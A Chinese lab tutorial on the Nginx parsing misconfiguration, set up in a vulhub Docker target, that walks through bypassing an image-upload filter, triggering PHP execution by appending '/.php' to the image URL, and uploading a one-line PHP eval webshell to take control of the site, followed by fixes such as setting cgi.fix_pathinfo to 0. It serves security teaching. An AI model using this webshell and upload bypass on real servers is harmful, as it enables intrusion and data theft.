中间件安全:Nginx 解析漏洞测试.

中间件安全:Nginx 解析漏洞测试.

Nginx 是一个高性能的 HTTP和 反向代理服务器,Nginx 解析漏洞是一个由于配置不当导致的安全问题,它不依赖于Nginx或PHP的特定版本,而是由于用户配置错误造成的。这个漏洞允许攻击者上传看似无害的文件,例如图片格式的文件,但实际上这些文件中包含了PHP代码。当这些文件被请求时,由于配置错误,Nginx会将这些文件作为PHP文件执行,从而可能允许攻击者执行任意代码。


目录:

[中间件安全:Nginx 解析漏洞测试.](#中间件安全:Nginx 解析漏洞测试.)

漏洞的危害:

靶场搭建:

(1)切换到环境目录.

(2)开启环境.

[(3)直接访问目标主机的 IP 地址就行.](#(3)直接访问目标主机的 IP 地址就行.)

[Nginx 解析漏洞测试:](#Nginx 解析漏洞测试:)

[(1)如果我上传一个 PHP 文件进去,他会显示请上传一个正常图片文件.](#(1)如果我上传一个 PHP 文件进去,他会显示请上传一个正常图片文件.)

(2)我们进行抓包,把修改文件后缀名png

(3)访问我们上传的文件是否存在.

[提高控制权,上传 webshell](#提高控制权,上传 webshell)

[(1)写一个 Webshell 的连接.](#(1)写一个 Webshell 的连接.)

(2)上传进行抓包,修改文件后缀名png

(3)访问我们上传的文件是否存在.

[(4)测试是否存在 Nginx 解析漏洞,在图片后面的 URL 中添加:/.php](#(4)测试是否存在 Nginx 解析漏洞,在图片后面的 URL 中添加:/.php)

[(5)使用连接工具进行连接上传的 Webshell 拿到网站控制权.](#(5)使用连接工具进行连接上传的 Webshell 拿到网站控制权.)

防御措施:

(1)使用规范化、模板化的配置文件,并确保它们经过安全测试。

(2)在系统上线前对敏感配置文件进行检查。

[(3)将 php.ini 文件中的 cgi.fix_pathinfo 的值设为 0](#(3)将 php.ini 文件中的 cgi.fix_pathinfo 的值设为 0)


漏洞的危害:

(1)攻击者可以绕过文件上传的检测,上传恶意文件。

(2)攻击者可以利用该漏洞执行系统命令,窃取或篡改数据。

(3)攻击者可能在服务器上留下后门,进一步控制服务器或内网。


靶场搭建:

环境搭建: Web安全:iwebsec || vulhub 靶场搭建.


(1)切换到环境目录.
复制代码
vulhub/nginx/nginx_parsing_vulnerability

(2)开启环境.
复制代码
sudo docker-compose up -d

(3)直接访问目标主机的 IP 地址就行.

Nginx 解析漏洞测试:

(1)如果我上传一个 PHP 文件进去,他会显示请上传一个正常图片文件.

(2)我们进行抓包,把修改文件后缀名png,Content-Type 类型为 image/png,最后在文件内容的头部添加 GIF89a

(3)访问我们上传的文件是否存在.

(4)测试是否存在 Nginx 解析漏洞,在图片后面的 URL 中添加:/.php


提高控制权,上传 webshell

(1)写一个 Webshell 的连接.
复制代码
<?php                                //一句话木马程序
    @eval($_POST['bgxg']);
?>

(2)上传进行抓包,修改文件后缀名png,Content-Type 类型为 image/png,最后在文件内容的头部添加 GIF89a

(3)访问我们上传的文件是否存在.

(4)测试是否存在 Nginx 解析漏洞,在图片后面的 URL 中添加:/.php

(5)使用连接工具进行连接上传的 Webshell 拿到网站控制权.

防御措施:

(1)使用规范化、模板化的配置文件,并确保它们经过安全测试。
(2)在系统上线前对敏感配置文件进行检查。
(3)将 php.ini 文件中的 cgi.fix_pathinfo 的值设为 0
相关推荐
JZC_xiaozhong27 分钟前
多系统并行的权限治理难题:如何消除“权限孤岛”与安全风险?
安全·数据安全·etl工程师·iam·数据集成与应用集成·多系统权限管理·统一数据集成
北京聚信万通科技有限公司30 分钟前
传输协议:AS3
服务器·网络·安全·电子数据交换·as3
yours_Gabriel2 小时前
【一】常用中间件及用处
中间件
二哈喇子!2 小时前
openFuyao 容器平台快速入门:Nginx 应用部署全流程实操
运维·nginx·openfuyao
feathered-feathered3 小时前
Redis基础知识+RDB+AOF(面试)
java·数据库·redis·分布式·后端·中间件·面试
互亿无线明明4 小时前
国际金融短信:如何为跨境金融业务构建稳定安全的消息通知链路?
java·python·安全·eclipse·django·virtualenv·pygame
白帽子凯哥哥5 小时前
转行网络安全学习计划与报班建议
学习·安全·web安全·网络安全·渗透测试·漏洞挖掘·网安培训
ReaF_star6 小时前
【基线】关于Debian的一些简单安全配置及验证
学习·安全·debian
kali-Myon6 小时前
快速解决 Docker 环境中无法打开 gdb 调试窗口以及 tmux 中无法滚动页面内容和无法选中复制的问题
运维·安全·docker·容器·gdb·pwn·tmux
黑客思维者6 小时前
为什么Linux常被提权操作?
linux·网络·安全